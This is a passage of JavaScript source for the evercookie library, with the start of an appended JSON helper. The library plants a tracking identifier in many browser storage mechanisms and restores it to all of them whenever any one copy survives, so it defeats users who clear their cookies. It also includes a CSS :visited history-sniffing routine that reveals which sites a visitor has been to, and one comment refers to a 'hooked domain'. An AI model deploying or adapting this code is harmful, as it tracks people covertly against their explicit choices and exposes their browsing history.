  26.  * specifically it uses:
  27.  *  - standard http cookies
  28.  *  - flash cookies (local shared objects)
  29.  *  - silverlight isolated storage
  30.  *  - png generation w/forced cache and html5 canvas pixel reading
  31.  *  - http etags
  32.  *  - http cache
  33.  *  - window.name
  34.  *  - IE userData
  35.  *  - html5 session cookies
  36.  *  - html5 local storage
  37.  *  - html5 global storage
  38.  *  - html5 database storage via sqlite
  39.  *  - css history scanning
  40.  *
  41.  *  if any cookie is found, it's then reset to all the other locations
  42.  *  for example, if someone deletes all but one type of cookie, once
  43.  *  that cookie is re-discovered, all of the other cookie types get reset
  44.  *
  45.  *  !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS
  46.  *  OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!
  47.  *
  48.  * USAGE:
  49.  
  50.     var ec = new evercookie(); 
  51.    
  52.     // set a cookie "id" to "12345"
  53.     // usage: ec.set(key, value)
  54.     ec.set("id", "12345");
  55.    
  56.     // retrieve a cookie called "id" (simply)
  57.     ec.get("id", function(value) { alert("Cookie value is " + value) });
  58.  
  59.     // or use a more advanced callback function for getting our cookie
  60.     // the cookie value is the first param
  61.     // an object containing the different storage methods
  62.     // and returned cookie values is the second parameter
  63.     function getCookie(best_candidate, all_candidates)
  64.     {
  65.         alert("The retrieved cookie is: " + best_candidate + "\n" +
  66.             "You can see what each storage mechanism returned " +
  67.             "by looping through the all_candidates object.");
  68.  
  69.         for (var item in all_candidates)
  70.             document.write("Storage mechanism " + item +
  71.                 " returned " + all_candidates[item] + " votes<br>");
  72.     }
  73.     ec.get("id", getCookie);
  74.  
  75.     // we look for "candidates" based off the number of "cookies" that
  76.     // come back matching since it's possible for mismatching cookies.
  77.     // the best candidate is very-very-likely the correct one
  78.    
  79. */
  80.  
  81. /* to turn off CSS history knocking, set _ec_history to 0 */
  82. var _ec_history = 1; // CSS history knocking or not .. can be network intensive
  83. var _ec_tests = 10;//1000;
  84. var _ec_debug = 0;
  85.  
  86. function _ec_dump(arr, level)
  87. {
  88.     var dumped_text = "";
  89.     if(!level) level = 0;
  90.    
  91.     //The padding given at the beginning of the line.
  92.     var level_padding = "";
  93.     for(var j=0;j<level+1;j++) level_padding += "    ";
  94.    
  95.     if(typeof(arr) == 'object') { //Array/Hashes/Objects
  96.         for(var item in arr) {
  97.             var value = arr[item];
  98.            
  99.             if(typeof(value) == 'object') { //If it is an array,
  100.                 dumped_text += level_padding + "'" + item + "' ...\n";
  101.                 dumped_text += _ec_dump(value,level+1);
  102.             } else {
  103.                 dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
  104.             }
  105.         }
  106.     } else { //Stings/Chars/Numbers etc.
  107.         dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
  108.     }
  109.     return dumped_text;
  110. }
  111.  
  112. function _ec_replace(str, key, value)
  113. {
  114.     if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)
  115.     {
  116.         // find start
  117.         var idx = str.indexOf('&' + key + '=');
  118.         if (idx == -1)
  119.             idx = str.indexOf(key + '=');
  120.  
  121.         // find end
  122.         var end = str.indexOf('&', idx + 1);
  123.         var newstr;
  124.         if (end != -1)
  125.             newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
  126.         else
  127.             newstr = str.substr(0, idx) + '&' + key + '=' + value;
  128.  
  129.         return newstr;
  130.     }
  131.     else
  132.         return str + '&' + key + '=' + value;
  133. }
  134.  
  135.  
  136. // necessary for flash to communicate with js...
  137. // please implement a better way
  138. var _global_lso;
  139. function _evercookie_flash_var(cookie)
  140. {
  141.     _global_lso = cookie;
  142.  
  143.     // remove the flash object now
  144.     var swf = $('#myswf');
  145.     if (swf && swf.parentNode)
  146.         swf.parentNode.removeChild(swf);
  147. }
  148.  
  149. var evercookie = (function () {
  150. this._class = function() {
  151.  
  152. var self = this;
  153. // private property
  154. _baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  155. this._ec = {};
  156. var no_color = -1;
  157.  
  158. this.get = function(name, cb, dont_reset)
  159. {
  160.     $(document).ready(function() {
  161.         self._evercookie(name, cb, undefined, undefined, dont_reset);
  162.     });
  163. };
  164.  
  165. this.set = function(name, value)
  166. {
  167.     $(document).ready(function() {
  168.             self._evercookie(name, function() { }, value);
  169.     });
  170. };
  171.  
  172. this._evercookie = function(name, cb, value, i, dont_reset)
  173. {
  174.     if (typeof self._evercookie == 'undefined')
  175.         self = this;
  176.    
  177.     if (typeof i == 'undefined')
  178.         i = 0;
  179.  
  180.     // first run
  181.     if (i == 0)
  182.     {
  183.         self.evercookie_database_storage(name, value);
  184.         self.evercookie_png(name, value);
  185.         self.evercookie_etag(name, value);
  186.         self.evercookie_cache(name, value);
  187.         self.evercookie_lso(name, value);
  188.         self.evercookie_silverlight(name, value);
  189.  
  190.         self._ec.userData       = self.evercookie_userdata(name, value);
  191.         self._ec.cookieData     = self.evercookie_cookie(name, value);
  192.         self._ec.localData      = self.evercookie_local_storage(name, value);
  193.         self._ec.globalData     = self.evercookie_global_storage(name, value);
  194.         self._ec.sessionData    = self.evercookie_session_storage(name, value);
  195.         self._ec.windowData     = self.evercookie_window(name, value);
  196.    
  197.         if (_ec_history)
  198.             self._ec.historyData = self.evercookie_history(name, value);
  199.     }
  200.  
  201.     // when writing data, we need to make sure lso and silverlight object is there
  202.     if (typeof value != 'undefined')
  203.     {
  204.         if (
  205.             (
  206.                 (typeof _global_lso == 'undefined') ||
  207.                 (typeof _global_isolated == 'undefined')
  208.             )
  209.             && i++ < _ec_tests
  210.         )
  211.             setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
  212.     }
  213.    
  214.     // when reading data, we need to wait for swf, db, silverlight and png
  215.     else
  216.     {
  217.         if (
  218.             (
  219.                 // we support local db and haven't read data in yet
  220.                 (window.openDatabase && typeof self._ec.dbData == 'undefined') ||
  221.                 (typeof _global_lso == 'undefined') ||
  222.                 (typeof self._ec.etagData == 'undefined') ||
  223.                 (typeof self._ec.cacheData == 'undefined') ||
  224.                 (document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
  225.                 (typeof _global_isolated == 'undefined')
  226.             )
  227.             &&
  228.             i++ < _ec_tests
  229.         )
  230.         {
  231.             setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
  232.         }
  233.  
  234.         // we hit our max wait time or got all our data
  235.         else
  236.         {
  237.             // get just the piece of data we need from swf
  238.             self._ec.lsoData = self.getFromStr(name, _global_lso);
  239.             _global_lso = undefined;
  240.            
  241.             // get just the piece of data we need from silverlight
  242.             self._ec.slData = self.getFromStr(name, _global_isolated);
  243.             _global_isolated = undefined;
  244.  
  245.             var tmpec = self._ec;
  246.             self._ec = {};
  247.            
  248.             // figure out which is the best candidate
  249.             var candidates = new Array();
  250.             var bestnum = 0;
  251.             var candidate;
  252.             for (var item in tmpec)
  253.             {
  254.                 if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' &&
  255.                   tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null)
  256.                 {
  257.                         candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
  258.                 }
  259.             }
  260.            
  261.             for (var item in candidates)
  262.             {
  263.                 if (candidates[item] > bestnum)
  264.                 {
  265.                     bestnum = candidates[item];
  266.                     candidate = item;
  267.                 }
  268.             }
  269.            
  270.             // reset cookie everywhere
  271.             if (typeof dont_reset == "undefined" || dont_reset != 1)
  272.                 self.set(name, candidate);
  273.  
  274.             if (typeof cb == 'function')
  275.                 cb(candidate, tmpec);
  276.         }
  277.     }
  278. };
  279.  
  280. this.evercookie_window = function(name, value)
  281. {
  282.     try {
  283.         if (typeof(value) != "undefined")
  284.             window.name = _ec_replace(window.name, name, value);
  285.         else
  286.             return this.getFromStr(name, window.name);
  287.     } catch(e) { }
  288. };
  289.  
  290. this.evercookie_userdata = function(name, value)
  291. {
  292.     try {
  293.         var elm = this.createElem('div', 'userdata_el', 1);
  294.         elm.style.behavior = "url(#default#userData)";
  295.  
  296.         if (typeof(value) != "undefined")
  297.         {
  298.             elm.setAttribute(name, value);
  299.             elm.save(name);
  300.         }
  301.         else
  302.         {
  303.             elm.load(name);
  304.             return elm.getAttribute(name);
  305.         }
  306.     } catch(e) { }
  307. };
  308.  
  309. this.evercookie_cache = function(name, value)
  310. {
  311.     if (typeof(value) != "undefined")
  312.     {
  313.         // make sure we have evercookie session defined first
  314.         document.cookie = 'evercookie_cache=' + value;
  315.        
  316.         // evercookie_cache.php handles caching
  317.         var img = new Image();
  318.         img.style.visibility = 'hidden';
  319.         img.style.position = 'absolute';
  320.         img.src = 'evercookie_cache.php?name=' + name;
  321.     }
  322.     else
  323.     {
  324.         // interestingly enough, we want to erase our evercookie
  325.         // http cookie so the php will force a cached response
  326.         var origvalue = this.getFromStr('evercookie_cache', document.cookie);
  327.         self._ec.cacheData = undefined;
  328.         document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  329.  
  330.         $.ajax({
  331.             url: 'evercookie_cache.php?name=' + name,
  332.             success: function(data) {
  333.                 // put our cookie back
  334.                 document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  335.  
  336.                 self._ec.cacheData = data;
  337.             }
  338.         });
  339.     }
  340. };
  341.  
  342. this.evercookie_etag = function(name, value)
  343. {
  344.     if (typeof(value) != "undefined")
  345.     {
  346.         // make sure we have evercookie session defined first
  347.         document.cookie = 'evercookie_etag=' + value;
  348.        
  349.         // evercookie_etag.php handles etagging
  350.         var img = new Image();
  351.         img.style.visibility = 'hidden';
  352.         img.style.position = 'absolute';
  353.         img.src = 'evercookie_etag.php?name=' + name;
  354.     }
  355.     else
  356.     {
  357.         // interestingly enough, we want to erase our evercookie
  358.         // http cookie so the php will force a cached response
  359.         var origvalue = this.getFromStr('evercookie_etag', document.cookie);
  360.         self._ec.etagData = undefined;
  361.         document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  362.  
  363.         $.ajax({
  364.             url: 'evercookie_etag.php?name=' + name,
  365.             success: function(data) {
  366.                 // put our cookie back
  367.                 document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  368.  
  369.                 self._ec.etagData = data;
  370.             }
  371.         });
  372.     }
  373. };
  374.  
  375. this.evercookie_lso = function(name, value)
  376. {
  377.     var div = document.getElementById('swfcontainer');
  378.     if (!div)
  379.     {
  380.         div = document.createElement("div");
  381.         div.setAttribute('id', 'swfcontainer');
  382.         document.body.appendChild(div);
  383.     }
  384.  
  385.     var flashvars = {};
  386.     if (typeof value != 'undefined')
  387.         flashvars.everdata = name + '=' + value;
  388.  
  389.     var params           = {};
  390.     params.swliveconnect = "true";
  391.     var attributes       = {};
  392.     attributes.id        = "myswf";
  393.     attributes.name      = "myswf";
  394.     swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
  395. };
  396.  
  397. this.evercookie_png = function(name, value)
  398. {
  399.     if (document.createElement('canvas').getContext)
  400.     {
  401.         if (typeof(value) != "undefined")
  402.         {
  403.             // make sure we have evercookie session defined first
  404.             document.cookie = 'evercookie_png=' + value;
  405.            
  406.             // evercookie_png.php handles the hard part of generating the image
  407.             // based off of the http cookie and returning it cached
  408.             var img = new Image();
  409.             img.style.visibility = 'hidden';
  410.             img.style.position = 'absolute';
  411.             img.src = 'evercookie_png.php?name=' + name;
  412.         }
  413.         else
  414.         {
  415.             self._ec.pngData = undefined;
  416.             var context = document.createElement('canvas');
  417.             context.style.visibility = 'hidden';
  418.             context.style.position = 'absolute';
  419.             context.width = 200;
  420.             context.height = 1;
  421.             var ctx = context.getContext('2d');
  422.            
  423.             // interestingly enough, we want to erase our evercookie
  424.             // http cookie so the php will force a cached response
  425.             var origvalue = this.getFromStr('evercookie_png', document.cookie);
  426.             document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  427.  
  428.             var img = new Image();
  429.             img.style.visibility = 'hidden';
  430.             img.style.position = 'absolute';
  431.             img.src = 'evercookie_png.php?name=' + name;
  432.            
  433.             img.onload = function()
  434.             {
  435.                 // put our cookie back
  436.                 document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  437.  
  438.                 self._ec.pngData = '';
  439.                 ctx.drawImage(img,0,0);
  440.  
  441.                 // get CanvasPixelArray from  given coordinates and dimensions
  442.                 var imgd = ctx.getImageData(0, 0, 200, 1);
  443.                 var pix = imgd.data;
  444.  
  445.                 // loop over each pixel to get the "RGB" values (ignore alpha)
  446.                 for (var i = 0, n = pix.length; i < n; i += 4)
  447.                 {
  448.                     if (pix[i  ] == 0) break;
  449.                     self._ec.pngData += String.fromCharCode(pix[i]);
  450.                     if (pix[i+1] == 0) break;
  451.                     self._ec.pngData += String.fromCharCode(pix[i+1]);
  452.                     if (pix[i+2] == 0) break;
  453.                     self._ec.pngData += String.fromCharCode(pix[i+2]);
  454.                 }
  455.             }  
  456.         }
  457.     }
  458. };
  459.  
  460. this.evercookie_local_storage = function(name, value)
  461. {
  462.     try
  463.     {
  464.         if (window.localStorage)
  465.         {
  466.             if (typeof(value) != "undefined")
  467.                 localStorage.setItem(name, value);
  468.             else
  469.                 return localStorage.getItem(name);
  470.         }
  471.     }
  472.     catch (e) { }
  473. };
  474.  
  475. this.evercookie_database_storage = function(name, value)
  476. {
  477.     try
  478.     {
  479.         if (window.openDatabase)
  480.         {      
  481.             var database = window.openDatabase("sqlite_evercookie", "", "evercookie", 1024 * 1024);
  482.  
  483.             if (typeof(value) != "undefined")
  484.                 database.transaction(function(tx)
  485.                 {
  486.                     tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
  487.                         "id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " +
  488.                         "name TEXT NOT NULL, " +
  489.                         "value TEXT NOT NULL, " +
  490.                         "UNIQUE (name)" +
  491.                     ")", [], function (tx, rs) { }, function (tx, err) { });
  492.  
  493.                     tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [name, value],
  494.                         function (tx, rs) { }, function (tx, err) { })
  495.                 });
  496.             else
  497.             {
  498.                 database.transaction(function(tx)
  499.                 {
  500.                     tx.executeSql("SELECT value FROM cache WHERE name=?", [name],
  501.                     function(tx, result1) {
  502.                         if (result1.rows.length >= 1)
  503.                             self._ec.dbData = result1.rows.item(0)['value'];
  504.                         else
  505.                             self._ec.dbData = '';
  506.                     }, function (tx, err) { })
  507.                 });
  508.             }
  509.         }
  510.     } catch(e) { }
  511. };
  512.  
  513. this.evercookie_session_storage = function(name, value)
  514. {
  515.     try
  516.     {
  517.         if (window.sessionStorage)
  518.         {
  519.             if (typeof(value) != "undefined")
  520.                 sessionStorage.setItem(name, value);
  521.             else
  522.                 return sessionStorage.getItem(name);
  523.         }
  524.     } catch(e) { }
  525. };
  526.  
  527. this.evercookie_global_storage = function(name, value)
  528. {
  529.     if (window.globalStorage)
  530.     {
  531.         var host = this.getHost();
  532.  
  533.         try
  534.         {
  535.             if (typeof(value) != "undefined")
  536.                 eval("globalStorage[host]." + name + " = value");
  537.             else
  538.                 return eval("globalStorage[host]." + name);
  539.         } catch(e) { }
  540.     }
  541. };
  542. this.evercookie_silverlight = function(name, value) {
  543.     /*
  544.      * Create silverlight embed
  545.      *
  546.      * Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this
  547.      * is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
  548.     */
  549.         var source = "evercookie.xap";
  550.         var minver = "4.0.50401.0";
  551.        
  552.         var initParam = "";
  553.         if(typeof(value) != "undefined")
  554.             initParam = '<param name="initParams" value="'+name+'='+value+'" />';
  555.        
  556.         var html =
  557.         '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">' +
  558.             initParam +
  559.             '<param name="source" value="'+source+'"/>' +
  560.             '<param name="onLoad" value="onSilverlightLoad"/>' +
  561.             '<param name="onError" value="onSilverlightError"/>' +
  562.             '<param name="background" value="Transparent"/>' +
  563.             '<param name="windowless" value="true"/>' +
  564.             '<param name="minRuntimeVersion" value="'+minver+'"/>' +
  565.             '<param name="autoUpgrade" value="true"/>' +
  566.             '<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'" style="text-decoration:none">' +
  567.               '<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>' +
  568.             '</a>' +
  569.         '</object>';
  570.         document.body.innerHTML+=html;
  571. };
  572.  
  573. // public method for encoding
  574. this.encode = function (input) {
  575.     var output = "";
  576.     var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  577.     var i = 0;
  578.  
  579.     input = this._utf8_encode(input);
  580.  
  581.     while (i < input.length) {
  582.  
  583.         chr1 = input.charCodeAt(i++);
  584.         chr2 = input.charCodeAt(i++);
  585.         chr3 = input.charCodeAt(i++);
  586.  
  587.         enc1 = chr1 >> 2;
  588.         enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  589.         enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  590.         enc4 = chr3 & 63;
  591.  
  592.         if (isNaN(chr2)) {
  593.             enc3 = enc4 = 64;
  594.         } else if (isNaN(chr3)) {
  595.             enc4 = 64;
  596.         }
  597.  
  598.         output = output +
  599.         _baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
  600.         _baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
  601.  
  602.     }
  603.  
  604.     return output;
  605. };
  606.  
  607. // public method for decoding
  608. this.decode = function (input) {
  609.     var output = "";
  610.     var chr1, chr2, chr3;
  611.     var enc1, enc2, enc3, enc4;
  612.     var i = 0;
  613.  
  614.     input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  615.  
  616.     while (i < input.length) {
  617.         enc1 = _baseKeyStr.indexOf(input.charAt(i++));
  618.         enc2 = _baseKeyStr.indexOf(input.charAt(i++));
  619.         enc3 = _baseKeyStr.indexOf(input.charAt(i++));
  620.         enc4 = _baseKeyStr.indexOf(input.charAt(i++));
  621.  
  622.         chr1 = (enc1 << 2) | (enc2 >> 4);
  623.         chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  624.         chr3 = ((enc3 & 3) << 6) | enc4;
  625.  
  626.         output = output + String.fromCharCode(chr1);
  627.  
  628.         if (enc3 != 64) {
  629.             output = output + String.fromCharCode(chr2);
  630.         }
  631.         if (enc4 != 64) {
  632.             output = output + String.fromCharCode(chr3);
  633.         }
  634.  
  635.     }
  636.  
  637.     output = this._utf8_decode(output);
  638.  
  639.     return output;
  640.  
  641. };
  642.  
  643. // private method for UTF-8 encoding
  644. this._utf8_encode = function (string) {
  645.     string = string.replace(/\r\n/g,"\n");
  646.     var utftext = "";
  647.  
  648.     for (var n = 0; n < string.length; n++) {
  649.  
  650.         var c = string.charCodeAt(n);
  651.  
  652.         if (c < 128) {
  653.             utftext += String.fromCharCode(c);
  654.         }
  655.         else if((c > 127) && (c < 2048)) {
  656.             utftext += String.fromCharCode((c >> 6) | 192);
  657.             utftext += String.fromCharCode((c & 63) | 128);
  658.         }
  659.         else {
  660.             utftext += String.fromCharCode((c >> 12) | 224);
  661.             utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  662.             utftext += String.fromCharCode((c & 63) | 128);
  663.         }
  664.  
  665.     }
  666.  
  667.     return utftext;
  668. };
  669.  
  670. // private method for UTF-8 decoding
  671. this._utf8_decode = function (utftext) {
  672.     var string = "";
  673.     var i = 0;
  674.     var c = c1 = c2 = 0;
  675.  
  676.     while ( i < utftext.length ) {
  677.  
  678.         c = utftext.charCodeAt(i);
  679.  
  680.         if (c < 128) {
  681.             string += String.fromCharCode(c);
  682.             i++;
  683.         }
  684.         else if((c > 191) && (c < 224)) {
  685.             c2 = utftext.charCodeAt(i+1);
  686.             string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  687.             i += 2;
  688.         }
  689.         else {
  690.             c2 = utftext.charCodeAt(i+1);
  691.             c3 = utftext.charCodeAt(i+2);
  692.             string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  693.             i += 3;
  694.         }
  695.  
  696.     }
  697.  
  698.     return string;
  699. };
  700.  
  701. // this is crazy but it's 4am in dublin and i thought this would be hilarious
  702. // blame the guinness
  703. this.evercookie_history = function(name, value)
  704. {
  705.     // - is special
  706.     var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
  707.     var baseElems = baseStr.split("");
  708.    
  709.     // sorry google.
  710.     var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
  711.  
  712.     if (typeof(value) != "undefined")
  713.     {
  714.         // don't reset this if we already have it set once
  715.         // too much data and you can't clear previous values
  716.         if (this.hasVisited(url))
  717.             return;
  718.  
  719.         this.createIframe(url, 'if');
  720.         url = url + '/';
  721.  
  722.         var base = this.encode(value).split("");
  723.         for (var i = 0; i < base.length; i++)
  724.         {
  725.             url = url + base[i];
  726.             this.createIframe(url, 'if' + i);
  727.         }
  728.  
  729.         // - signifies the end of our data
  730.         url = url + '-';
  731.         this.createIframe(url, 'if_');
  732.     }
  733.     else
  734.     {
  735.         // omg you got csspwn3d
  736.         if (this.hasVisited(url))
  737.         {
  738.             url = url + '/';
  739.  
  740.             var letter = "";
  741.             var val = "";
  742.             var found = 1;
  743.             while (letter != '-' && found == 1)
  744.             {
  745.                 found = 0;
  746.                 for (var i = 0; i < baseElems.length; i++)
  747.                 {
  748.                     if (this.hasVisited(url + baseElems[i]))
  749.                     {
  750.                         letter = baseElems[i];
  751.                         if (letter != '-')
  752.                             val = val + letter;
  753.                         url = url + letter;
  754.                         found = 1;
  755.                         break;
  756.                     }
  757.                 }
  758.             }
  759.            
  760.             // lolz
  761.             return this.decode(val);
  762.         }
  763.     }
  764. };
  765.  
  766. this.createElem = function(type, name, append)
  767. {
  768.     var el;
  769.     if (typeof name != 'undefined' && document.getElementById(name))
  770.         el = document.getElementById(name);
  771.     else
  772.         el = document.createElement(type);
  773.     el.style.visibility = 'hidden';
  774.     el.style.position = 'absolute';
  775.  
  776.     if (name)
  777.         el.setAttribute('id', name);
  778.  
  779.     if (append)
  780.         document.body.appendChild(el);
  781.  
  782.     return el;
  783. };
  784.  
  785. this.createIframe = function(url, name)
  786. {
  787.     var el = this.createElem('iframe', name, 1);
  788.     el.setAttribute('src', url);
  789.     return el;
  790. };
  791.  
  792. // wait for our swfobject to appear (swfobject.js to load)
  793. this.waitForSwf = function(i)
  794. {
  795.     if (typeof i == 'undefined')
  796.         i = 0;
  797.     else
  798.         i++;
  799.  
  800.     // wait for ~2 seconds for swfobject to appear
  801.     if (i < _ec_tests && typeof swfobject == 'undefined')
  802.         setTimeout(function() { waitForSwf(i) }, 300);
  803. };
  804.  
  805. this.evercookie_cookie = function(name, value)
  806. {
  807.     try{
  808.         if (typeof(value) != "undefined")
  809.         {
  810.             // expire the cookie first
  811.             document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
  812.             document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
  813.         }
  814.         else
  815.             return this.getFromStr(name, document.cookie);
  816.     }catch(e){
  817.         // the hooked domain is using HttpOnly, so we must set the hook ID in a different way.
  818.         // evercookie_userdata and evercookie_window will be used in this case.
  819.     }
  820. };
  821.  
  822. // get value from param-like string (eg, "x=y&name=VALUE")
  823. this.getFromStr = function(name, text)
  824. {
  825.     if (typeof text != 'string')
  826.         return;
  827.        
  828.     var nameEQ = name + "=";
  829.     var ca = text.split(/[;&]/);
  830.     for (var i = 0; i < ca.length; i++)
  831.     {
  832.         var c = ca[i];
  833.         while (c.charAt(0) == ' ')
  834.             c = c.substring(1, c.length);
  835.         if (c.indexOf(nameEQ) == 0)
  836.             return c.substring(nameEQ.length, c.length);
  837.     }
  838. };
  839.  
  840. this.getHost = function()
  841. {
  842.     var domain = document.location.host;
  843.     if (domain.indexOf('www.') == 0)
  844.         domain = domain.replace('www.', '');
  845.     return domain;
  846. };
  847.  
  848. this.toHex = function(str)
  849. {
  850.     var r = "";
  851.     var e = str.length;
  852.     var c = 0;
  853.     var h;
  854.     while (c < e)
  855.     {
  856.         h = str.charCodeAt(c++).toString(16);
  857.         while (h.length < 2)
  858.             h = "0" + h;
  859.         r += h;
  860.     }
  861.     return r;
  862. };
  863.  
  864. this.fromHex = function(str)
  865. {
  866.     var r = "";
  867.     var e = str.length;
  868.     var s;
  869.     while (e >= 0)
  870.     {
  871.         s = e - 2;
  872.         r = String.fromCharCode("0x" + str.substring(s, e)) + r;
  873.         e = s;
  874.     }
  875.     return r;
  876. };
  877.  
  878. /*
  879.  * css history knocker (determine what sites your visitors have been to)
  880.  *
  881.  * originally by Jeremiah Grossman
  882.  * http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
  883.  *
  884.  * ported to additional browsers by Samy Kamkar
  885.  *
  886.  * compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
  887.  *
  888.  * - code@samy.pl
  889.  */
  890.  
  891.  
  892. this.hasVisited = function(url)
  893. {
  894.     if (this.no_color == -1)
  895.     {
  896.         var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -1);
  897.         if (no_style == -1)
  898.             this.no_color =
  899.                 this._getRGB("http://samy-was-here-"+Math.floor(Math.random()*9999999)+"rand.com");
  900.     }
  901.    
  902.     // did we give full url?
  903.     if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
  904.         return this._testURL(url, this.no_color);
  905.        
  906.     // if not, just test a few diff types   if (exact)
  907.     return  this._testURL("http://" + url, this.no_color) ||
  908.         this._testURL("https://" + url, this.no_color) ||
  909.         this._testURL("http://www." + url, this.no_color) ||
  910.         this._testURL("https://www." + url, this.no_color);
  911. };
  912.  
  913. /* create our anchor tag */
  914. var _link = this.createElem('a', '_ec_rgb_link');
  915.  
  916. /* for monitoring */
  917. var created_style;
  918.  
  919. /* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
  920. var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
  921.  
  922. /* Methods for IE6, IE7, FF, Opera, and Safari */
  923. try {
  924.     created_style = 1;
  925.     var style = document.createElement('style');
  926.     if (style.styleSheet)
  927.         style.styleSheet.innerHTML = _cssText;
  928.     else if (style.innerHTML)
  929.         style.innerHTML = _cssText;
  930.     else
  931.     {
  932.         var cssT = document.createTextNode(_cssText);
  933.         style.appendChild(cssT);
  934.     }
  935. } catch (e) {
  936.     created_style = 0;
  937. }
  938.  
  939. /* if test_color, return -1 if we can't set a style */
  940. this._getRGB = function (u, test_color) {
  941.     if (test_color && created_style == 0)
  942.         return -1;
  943.  
  944.     /* create the new anchor tag with the appropriate URL information */
  945.     _link.href = u;
  946.     _link.innerHTML = u;
  947.     // not sure why, but the next two appendChilds always have to happen vs just once
  948.     document.body.appendChild(style);
  949.     document.body.appendChild(_link);
  950.  
  951.     /* add the link to the DOM and save the visible computed color */
  952.     var color;
  953.     if (document.defaultView)
  954.         color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
  955.     else
  956.         color = _link.currentStyle['color'];
  957.  
  958.     return color;
  959. };
  960.  
  961. this._testURL = function(url, no_color){
  962.     var color = this._getRGB(url);
  963.  
  964.     /* check to see if the link has been visited if the computed color is red */
  965.     if (color == "rgb(255, 0, 0)" || color == "#ff0000")
  966.         return 1;
  967.  
  968.     /* if our style trick didn't work, just compare default style colors */
  969.     else if (no_color && color != no_color)
  970.         return 1;
  971.  
  972.     /* not found */
  973.     return 0;
  974. }
  975.  
  976. };
  977.  
  978. return _class;
  979. })();
  980.  
  981.  
  982. /*
  983.  * Again, ugly workaround....same problem as flash.
  984. */
  985. var _global_isolated;
  986. function onSilverlightLoad(sender, args) {
  987.     var control = sender.getHost();
  988.     _global_isolated = control.Content.App.getIsolatedStorage();
  989. }
  990. /*
  991. function onSilverlightError(sender, args) {
  992.     _global_isolated = "";
  993.    
  994. }*/
  995. function onSilverlightError(sender, args) {
  996.     _global_isolated = "";
  997. }
  998.  
  999.  
  1000. /*
  1001.     https://github.com/douglascrockford/JSON-js/blob/master/json2.js
  1002.     2011-02-23
  1003.  
  1004. // Create a JSON object only if one does not already exist. We create the
  1005. // methods in a closure to avoid creating global variables.
  1006. */
  1007.  
  1008. var JSON;
  1009. if (!JSON) {
  1010.     JSON = {};
  1011. }
  1012.  
  1013. (function () {
  1014.     "use strict";
  1015.  
  1016.     function f(n) {
  1017.         // Format integers to have at least two digits.
  1018.         return n < 10 ? '0' + n : n;
  1019.     }
  1020.  
  1021.     if (typeof Date.prototype.toJSON !== 'function') {
  1022.  
  1023.         Date.prototype.toJSON = function (key) {
  1024.  
  1025.             return isFinite(this.valueOf()) ?
  1026.                 this.getUTCFullYear()     + '-' +
  1027.                 f(this.getUTCMonth() + 1) + '-' +
  1028.                 f(this.getUTCDate())      + 'T' +
  1029.                 f(this.getUTCHours())     + ':' +
  1030.                 f(this.getUTCMinutes())   + ':' +
  1031.                 f(this.getUTCSeconds())   + 'Z' : null;
  1032.         };
  1033.  
  1034.         String.prototype.toJSON      =
